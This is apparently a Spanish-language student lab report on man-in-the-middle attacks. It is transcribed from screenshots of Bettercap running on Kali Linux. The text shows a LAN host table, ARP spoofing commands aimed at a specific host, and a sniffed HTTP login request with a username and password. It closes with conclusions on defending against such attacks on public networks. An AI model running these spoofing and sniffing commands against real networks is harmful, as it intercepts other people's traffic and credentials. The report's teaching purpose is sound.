

Pruebas de Concepto

Morales Aguilar Miguel Ángel

Docente: Jiménez Sánchez Ismael

Instituto Tecnológico de Cancún

Ingeniería en Sistemas Computacionales

Fundamentos de Telecomunicaciones

El kali [Corriendo] - Oracle VM VirtualBox

Archivo Máquina Ver Entrada Dispositivos Ayuda

miguel@kali: ~

Equipo
Descargando (61 %, 2 horas 2 minutos)

```
192.168.0.0/24 > 192.168.0.14 » [17:59:00] [net.sniff.http.request] http LA
. POST aakam.info/login/loginbean.jsp

POST /login/loginbean.jsp HTTP/1.1
Host: aakam.info
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KH
rome/86.0.4240.198 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Content-Length: 47
Upgrade-Insecure-Requests: 1
Origin: http://aakam.info
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,ima
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://aakam.info/login/login.jsp

userName=jejeje&password=jojojojo&Submit=Submit
```

CTRL DERECHA

El kali [Corriendo] - Oracle VM VirtualBox

Archivo Máquina Ver Entrada Dispositivos Ayuda

miguel@kali: ~ 03:48 PM 89%

miguel@kali: ~

Archivo Acciones Editar Vista Ayuda

IP	MAC	Vendor
192.168.0.14	08:00:27:2f:a4:89	eth0
192.168.0.1	f8:8b:37:f2:00:e6	gateway
192.168.0.2	a0:d8:07:06:34:07	PCS Computer Systems GmbH
192.168.0.3	c8:c2:fa:93:bd:68	ARRIS Group, Inc.
192.168.0.6	58:04:54:23:2e:9f	Icomm Hk Lim
192.168.0.8	50:eb:71:86:dd:3c	LAPTOP-3GF7NGKV.local.
192.168.0.253	00:00:ca:01:02:03	ARRIS Group, Inc.

54 kB / 181 kB / 3252 pkts

192.168.0.8/24 > 192.168.0.14 »

Pruebas de Concepto

Wireshark PuTTY Cisco Packet Tracer Cygwin64 Terminal Brave WesternDigital... Laboratorios WireShark

GNS3 Git Bash Nmap - Zenmap GUI Atom Telegram wifeshark workbook 1 p... Laboratorios WireShark Migu...

El kali [Corriendo] - Oracle VM VirtualBox

Archivo Máquina Ver Entrada Dispositivos Ayuda

miguel@kali: ~ 03:52 PM 92%

Archivo Acciones Editar Vista Ayuda

IP	MAC	Interface	Company
192.168.0.14	08:00:27:2f:a4:89	eth0	PCS Computer Systems GmbH
192.168.0.1	f8:8b:37:f2:00:e6	gateway	ARRIS Group, Inc.
192.168.0.2	a0:d8:07:06:34:07		
192.168.0.3	c8:c2:fa:93:bd:68		
192.168.0.6	58:04:54:23:2e:9f		Icomm Hk Lim
192.168.0.8	50:eb:71:86:dd:3c	LAPTOP-36F7NGKV.local	
192.168.0.253	00:00:ca:01:02:03		ARRIS Group, Inc.

54 kB / 181 kB / 3252 pkts

```
192.168.0.0/24 > 192.168.0.14 » set arp.spoof.targets 192.168.0.8
192.168.0.0/24 > 192.168.0.14 » arp.ban on
192.168.0.0/24 > 192.168.0.14 » [15:49:32] [sys.log] [warn] arp.spoof running in ban mode, forwarding not enabled!
192.168.0.0/24 > 192.168.0.14 » [15:49:32] [sys.log] [info] arp.spoof arp spoofer started, probing 1 targets.
192.168.0.0/24 > 192.168.0.14 »
```

CTRL DERECHA

Tips: Más de 400 com... Bettercap Usage Exam WhatsApp

web.whatsapp.com

Document Sharing Fr... Download PDF PROY... Bitnami for XAMPP A... Responsive Web Desi...

Computadora sin conexión

Asegúrate de que tu computadora tenga una conexión activa y estable a Internet.

Con las practicas realizadas se puede concluir que este tipo de ataques, requieren forzosamente que el atacante esté en la misma red que la víctima, además que por la naturaleza de este tipo de ataque man in the middle no es recomendable realizarlo en un lugar donde haya una gran cantidad de conexiones ya que se hace más difícil tanto elegir como saber a quién se está atacando, como potencial víctima se puede concluir que para evitar este tipo de ataques es una buena práctica el uso precavido de redes públicas así como en caso de no poder evitarse su uso el tipo de información que uno ingresa en dichas redes.